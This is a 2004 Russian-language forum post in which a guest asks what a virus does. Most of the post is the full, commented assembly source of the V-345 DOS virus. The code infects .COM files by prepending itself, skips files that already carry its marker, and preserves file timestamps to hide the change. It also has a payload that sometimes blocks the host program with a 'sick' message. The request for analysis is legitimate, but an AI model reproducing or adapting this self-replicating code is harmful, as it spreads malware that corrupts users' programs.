Madgeniy Гость
|
Добавлено: Пн Ноя 01 2004 18:06 Заголовок сообщения: Вирус на ASM |
|
|
Здравствуйте, не могли бы вы мне помочь поподробнее разобраться, что это за вирус и чего он делает?
page ,132
name V345
title V-345 - a mutation of the V-845 virus
.radix 16
code segment ; эта часть программы остается резидентной
assume cs:code,ds:code ; связывание регистров cs и ds с code
org 100H ; данная программа записана как файл типа *.com – остальная
;часть программы – перемещаемый сегмент команд
timer equ 6C ; константы
dta equ 80
ftime equ offset dta + 16
fdate equ offset dta + 18
fname equ offset dta + 1E
virlen = offset endcode - offset start
newid = offset ident - offset start
start: ; метка начала программы
jmp short virus ; короткий переход (IP)(IP)+8-битное смещение, опр. virus
ident dw 'VI'
counter db 0
allcom db '*.COM',0
progbeg dd ?
eof dw ?
virus: ; метка virus
push ax ; помещение данных в стек
mov ax,cs ; перемещение сегмента кода в ax
mov es,ax ; помещение в дополнительный сегмент данных
inc [counter] ; увеличение счетчика
mov si,offset start ; помещаем в si смещение start’а (анал. lea si,start)
xor di,di ; ксорим di с di
mov cx,virlen ; место, на которое переносится загрузчик dos
rep movsb ; перенесение загрузчика
mov dx,offset allcom ;Ищем *.com файлы
mov cx,110b ;с различными атрибутами
mov ah,4E ;находим первый файл
int 21
jc done ;выходим, если не найден файл
mainlp:
mov dx,fname
mov ax,3D02 ;открываем файл для чтения/записи
int 21
mov bx,ax ;сохраняем заголовок
push es
pop ds
mov dx,virlen
mov cx,0FFFF ;читаем все байты (максимум 64 в *.com файле)
mov ah,3F ;читаем из заголовка байты
int 21
add ax,virlen
mov cs:[eof],ax ;сохраняем указатель на конец файла
cmp ds:[newid+virlen],'VI' ;зараженный?
je close ;если так, то идем на следующий файл
xor cx,cx ;идем к началу файла
mov dx,cx
mov ax,4200 ;установка текущей позиции от начала файла
int 21
jc close ;покидаем файл, если встречаются ошибки
xor dx,dx ;пишем весь код (virus+file)
mov cx,cs:[eof] ;возвращаемся на файл
mov ah,40 ;пишем в заголовок
int 21
mov cx,cs:[ftime] ;устанавливаем дату и время
mov dx,cs:[fdate]
mov ax,5701
int 21
close:
mov ah,3E ;закрываем файл
int 21
push cs
pop ds ;восстанавливаем ds
mov ah,4F ;ищем следующий файл
int 21
jc done ;выходим, если все найдено
jmp mainlp ;иначе повторяем снова
done:
cmp [counter],5 ;если счетчик более 5,
jb progok ;то программа «заболевает»
mov ax,40
mov ds,ax ; берем значение системного таймера
mov ax,word ptr ds:[timer]
push cs
pop ds
and ax,1 ; если значение таймера четно
jz progok ; то переходим на progok
mov dx,offset message
mov ah,9 ;печать message
int 21
int 20 ;закончить программу
message db 'I am sorry, program is sick, please call doctor… '
progok:
mov si,offset transf ;помещаем в si смещение transf
mov cx,offset endcode - offset transf ;длину кода – в cx
xor di,di ;Move to ES:0
rep movsb ;Do it
pop bx ; BX = прежений AX
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;указатель progbeg на начало программы
jmp cs:[progbeg] ;перейти к началу программы
transf:
push ds
pop es
mov si,offset endcode
mov di,offset start
mov cx,0FFFF ;восстановление оригинального программного кода
sub cx,si ; вычесть из cx si и записать в cx (место…)
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
mov ax,bx
jmp dword ptr cs:[start] ;переходим на начало программы
endcode label byte
int 20H
code ends
end start |
|